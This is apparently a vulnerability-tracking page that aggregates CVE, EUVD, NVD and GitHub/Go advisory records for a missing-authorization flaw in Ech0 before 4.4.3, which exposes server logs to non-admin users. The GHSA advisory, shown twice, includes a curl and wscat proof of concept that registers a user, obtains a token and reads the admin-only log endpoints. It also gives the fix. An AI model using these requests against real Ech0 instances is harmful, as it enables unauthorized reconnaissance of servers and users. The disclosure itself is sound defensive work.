Ech0 before 4.4.3 Missing Authorization on System Logs
cve-program · CVE-2026-79669
PublishedEch0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
Read the publisher's advisoryeuvd · EUVD-2026-65445
PublishedEch0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
Read the publisher's advisorynvd · CVE-2026-79669
PublishedEch0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
Read the publisher's advisoryosv · GHSA-w8jj-cwmc-wgq2
Published## Summary The system log endpoints (`GET /api/system/logs`, `GET /api/system/logs/stream`, `WS /ws/system/logs`) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks. ## Details The dashboard routes in `internal/router/dashboard.go:7-8` register log endpoints on the `AuthRouterGroup` without any `RequireScopes` middleware: ```go // internal/router/dashboard.go func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs()) appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs()) appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs()) } ``` Compare with other admin-only routes that properly use `RequireScopes`: ```go // internal/router/setting.go — every route has RequireScopes appRouterGroup.AuthRouterGroup.GET("/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.SettingHandler.GetSiteSettings()) ``` The `AuthRouterGroup` only applies `JWTAuthMiddleware()` (router.go:36), which validates the JWT and sets the viewer context but does **not** check admin status. The `WSRouterGroup` (router.go:37) has no middleware at all — the WebSocket handler only calls `ParseToken` to verify the JWT signature (dashboard.go:74) without any role/scope validation. The handler (`internal/handler/dashboard/dashboard.go:29-62`) and service (`internal/service/dashboard/dashboard.go:21-27`) contain zero authorization checks. Other services in the codebase properly enforce admin access: - `internal/service/inbox/inbox.go:132` — `ensureAdmin()` - `internal/service/migrator/migrator.go:360` — `ensureAdmin()` - `internal/service/comment/comment.go:719` — `requireAdmin()` Non-admin users are created with `IsAdmin: false` and `IsOwner: false` (`internal/service/user/user.go:220-221`) via the public registration endpoint. The `LogEntry` struct (`internal/util/log/log.go:78-87`) exposes: ```go type LogEntry struct { Time string `json:"time"` Level string `json:"level"` Msg string `json:"msg"` Module string `json:"module,omitempty"` Caller string `json:"caller,omitempty"` // internal file paths Error string `json:"error,omitempty"` // error stack traces Fields map[string]any `json:"fields,omitempty"` // arbitrary structured data Raw string `json:"raw,omitempty"` // raw log lines } ``` ## PoC ```bash # 1. Register a non-admin user (system allows up to 5 users by default) curl -X POST http://localhost:8080/api/register \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Password123"}' # 2. Login to get session token TOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Password123"}' | jq -r '.data.token') # 3. Read system logs — should require admin but doesn't curl http://localhost:8080/api/system/logs \ -H "Authorization: Bearer $TOKEN" # Returns: {"code":1,"data":[{"time":"...","level":"error","msg":"...","module":"...","caller":"internal/service/user/user.go:145","error":"...","fields":{...}},...]} # 4. Subscribe to real-time log stream via SSE curl -N "http://localhost:8080/api/system/logs/stream?token=$TOKEN" # 5. Subscribe via WebSocket (WSRouterGroup has NO middleware) # wscat -c "ws://localhost:8080/ws/system/logs?token=$TOKEN" ``` ## Impact Any registered non-admin user can: - **Read all historical system logs** including error traces that reveal internal code paths, database errors, and application state - **Stream real-time logs** via SSE or WebSocket to monitor all server activity as it happens - **Gather reconnaissance data** — caller fields expose internal file paths and line numbers, error fields expose stack traces and database query failures, module fields map the internal architecture - **Monitor other users' actions** — authentication failures, registration events, and admin operations appear in logs This information disclosure lowers the bar for chaining further attacks by revealing the application's internal structure, error handling patterns, and operational state. ## Recommended Fix Add `RequireScopes` middleware with an admin scope to the dashboard routes: ```go // internal/router/dashboard.go func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.GetSystemLogs()) appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.SSESubscribeSystemLogs()) appRouterGroup.WSRouterGroup.GET("/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.WSSubscribeSystemLogs()) } ``` Additionally, the WebSocket handler should validate admin scope after parsing the token, since the `WSRouterGroup` lacks middleware: ```go // internal/handler/dashboard/dashboard.go — WSSubscribeSystemLogs claims, err := jwtUtil.ParseToken(token) if err != nil { ctx.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"msg": "invalid token"}) return } // Add admin check for WebSocket endpoint if claims.TokenType == authModel.TokenTypeAccess && !containsScope(claims.Scopes, authModel.ScopeAdminSettings) { ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"msg": "admin access required"}) return } ```
Read the publisher's advisoryosv · GO-2026-5701
PublishedEch0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-79669
PublishedEch0 before 4.4.3 Missing Authorization on System Logs
Ech0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
- Source published
- 25 Aug 2026 11:33:30 UTC
- Source modified
- 25 Aug 2026 12:57:52 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
euvd · EUVD-2026-65445
PublishedEch0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET …
Ech0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 25, 2026, 11:33:30 AM
dateUpdated: Aug 25, 2026, 12:57:52 PM
- Source published
- Aug 25, 2026, 11:33:30 AM (timezone not stated)
- Source modified
- Aug 25, 2026, 12:57:52 PM (timezone not stated)
- Saved here
- 11 Nov 2026 16:09:45 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2026-79669
PublishedEch0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET …
Ech0 before 4.4.3 lacks authorization checks on system log endpoints allowing any authenticated non-admin user to read and stream all server logs. Attackers can access historical logs and real-time log streams via GET /api/system/logs, GET /api/system/logs/stream, and WS /ws/system/logs to gather reconnaissance data including internal file paths, error stack traces, and application state.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-862
Original publisher date fields
published: 2026-08-25T12:16:35.107
lastModified: 2026-09-23T18:14:58.577
- Source published
- 25 Aug 2026 12:16:35 UTC
- Source modified
- 23 Sep 2026 18:14:58 UTC
- Saved here
- 25 Oct 2026 16:19:04 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
osv · GHSA-w8jj-cwmc-wgq2
PublishedEch0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure
## Summary The system log endpoints (`GET /api/system/logs`, `GET /api/system/logs/stream`, `WS /ws/system/logs`) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks. ## Details The dashboard routes in `internal/router/dashboard.go:7-8` register log endpoints on the `AuthRouterGroup` without any `RequireScopes` middleware: ```go // internal/router/dashboard.go func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs()) appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs()) appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs()) } ``` Compare with other admin-only routes that properly use `RequireScopes`: ```go // internal/router/setting.go — every route has RequireScopes appRouterGroup.AuthRouterGroup.GET("/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.SettingHandler.GetSiteSettings()) ``` The `AuthRouterGroup` only applies `JWTAuthMiddleware()` (router.go:36), which validates the JWT and sets the viewer context but does **not** check admin status. The `WSRouterGroup` (router.go:37) has no middleware at all — the WebSocket handler only calls `ParseToken` to verify the JWT signature (dashboard.go:74) without any role/scope validation. The handler (`internal/handler/dashboard/dashboard.go:29-62`) and service (`internal/service/dashboard/dashboard.go:21-27`) contain zero authorization checks. Other services in the codebase properly enforce admin access: - `internal/service/inbox/inbox.go:132` — `ensureAdmin()` - `internal/service/migrator/migrator.go:360` — `ensureAdmin()` - `internal/service/comment/comment.go:719` — `requireAdmin()` Non-admin users are created with `IsAdmin: false` and `IsOwner: false` (`internal/service/user/user.go:220-221`) via the public registration endpoint. The `LogEntry` struct (`internal/util/log/log.go:78-87`) exposes: ```go type LogEntry struct { Time string `json:"time"` Level string `json:"level"` Msg string `json:"msg"` Module string `json:"module,omitempty"` Caller string `json:"caller,omitempty"` // internal file paths Error string `json:"error,omitempty"` // error stack traces Fields map[string]any `json:"fields,omitempty"` // arbitrary structured data Raw string `json:"raw,omitempty"` // raw log lines } ``` ## PoC ```bash # 1. Register a non-admin user (system allows up to 5 users by default) curl -X POST http://localhost:8080/api/register \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Password123"}' # 2. Login to get session token TOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Password123"}' | jq -r '.data.token') # 3. Read system logs — should require admin but doesn't curl http://localhost:8080/api/system/logs \ -H "Authorization: Bearer $TOKEN" # Returns: {"code":1,"data":[{"time":"...","level":"error","msg":"...","module":"...","caller":"internal/service/user/user.go:145","error":"...","fields":{...}},...]} # 4. Subscribe to real-time log stream via SSE curl -N "http://localhost:8080/api/system/logs/stream?token=$TOKEN" # 5. Subscribe via WebSocket (WSRouterGroup has NO middleware) # wscat -c "ws://localhost:8080/ws/system/logs?token=$TOKEN" ``` ## Impact Any registered non-admin user can: - **Read all historical system logs** including error traces that reveal internal code paths, database errors, and application state - **Stream real-time logs** via SSE or WebSocket to monitor all server activity as it happens - **Gather reconnaissance data** — caller fields expose internal file paths and line numbers, error fields expose stack traces and database query failures, module fields map the internal architecture - **Monitor other users' actions** — authentication failures, registration events, and admin operations appear in logs This information disclosure lowers the bar for chaining further attacks by revealing the application's internal structure, error handling patterns, and operational state. ## Recommended Fix Add `RequireScopes` middleware with an admin scope to the dashboard routes: ```go // internal/router/dashboard.go func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.GetSystemLogs()) appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.SSESubscribeSystemLogs()) appRouterGroup.WSRouterGroup.GET("/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.WSSubscribeSystemLogs()) } ``` Additionally, the WebSocket handler should validate admin scope after parsing the token, since the `WSRouterGroup` lacks middleware: ```go // internal/handler/dashboard/dashboard.go — WSSubscribeSystemLogs claims, err := jwtUtil.ParseToken(token) if err != nil { ctx.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"msg": "invalid token"}) return } // Add admin check for WebSocket endpoint if claims.TokenType == authModel.TokenTypeAccess && !containsScope(claims.Scopes, authModel.ScopeAdminSettings) { ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"msg": "admin access required"}) return } ```
- Source published
- 10 Apr 2026 19:49:33 UTC
- Source modified
- 27 Aug 2026 03:55:29 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Publisher rating · MODERATE
osv · GO-2026-5701
PublishedEch0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure in github.com/lin-snow/ech0
Ech0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.
- Source published
- 25 Jun 2026 22:34:38 UTC
- Source modified
- 27 Aug 2026 03:55:29 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.